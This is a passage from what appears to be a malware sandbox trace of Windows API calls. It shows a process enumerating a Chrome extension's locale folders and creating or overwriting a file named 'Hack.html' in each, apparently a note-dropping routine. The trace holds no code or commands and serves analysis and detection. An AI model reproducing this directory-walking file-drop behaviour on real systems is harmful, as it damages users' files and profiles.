HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.626] GetFileType (hFile=0x174) returned 0x1 [0072.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.626] GetFileType (hFile=0x174) returned 0x1 [0072.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpFilePart=0x0) returned 0x89 [0072.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\", lpFilePart=0x0) returned 0x8a [0072.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.628] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.628] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpFilePart=0x0) returned 0x89 [0072.628] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\", lpFilePart=0x0) returned 0x8a [0072.628] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.628] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.628] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.629] GetFileType (hFile=0x174) returned 0x1 [0072.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.629] GetFileType (hFile=0x174) returned 0x1 [0072.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpFilePart=0x0) returned 0x89 [0072.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\", lpFilePart=0x0) returned 0x8a [0072.630] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.630] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpFilePart=0x0) returned 0x89 [0072.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\", lpFilePart=0x0) returned 0x8a [0072.630] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.631] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.631] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.631] GetFileType (hFile=0x174) returned 0x1 [0072.631] GetFileType (hFile=0x174) returned 0x1 [0072.632] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpFilePart=0x0) returned 0x89 [0072.632] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\", lpFilePart=0x0) returned 0x8a [0072.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.633] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.633] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpFilePart=0x0) returned 0x89 [0072.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\", lpFilePart=0x0) returned 0x8a [0072.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.634] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.634] GetFileType (hFile=0x174) returned 0x1 [0072.634] GetFileType (hFile=0x174) returned 0x1 [0072.635] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpFilePart=0x0) returned 0x89 [0072.635] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\", lpFilePart=0x0) returned 0x8a [0072.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.635] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.636] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpFilePart=0x0) returned 0x89 [0072.636] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\", lpFilePart=0x0) returned 0x8a [0072.636] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.636] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.636] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.636] GetFileType (hFile=0x174) returned 0x1 [0072.636] GetFileType (hFile=0x174) returned 0x1 [0072.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpFilePart=0x0) returned 0x89 [0072.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\", lpFilePart=0x0) returned 0x8a [0072.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.638] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.638] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpFilePart=0x0) returned 0x89 [0072.638] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\", lpFilePart=0x0) returned 0x8a [0072.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.638] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.639] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.639] GetFileType (hFile=0x174) returned 0x1 [0072.639] GetFileType (hFile=0x174) returned 0x1 [0072.640] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpFilePart=0x0) returned 0x89 [0072.640] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\", lpFilePart=0x0) returned 0x8a [0072.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.640] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpFilePart=0x0) returned 0x89 [0072.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\", lpFilePart=0x0) returned 0x8a [0072.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.641] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.642] GetFileType (hFile=0x174) returned 0x1 [0072.642] GetFileType (hFile=0x174) returned 0x1 [0072.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 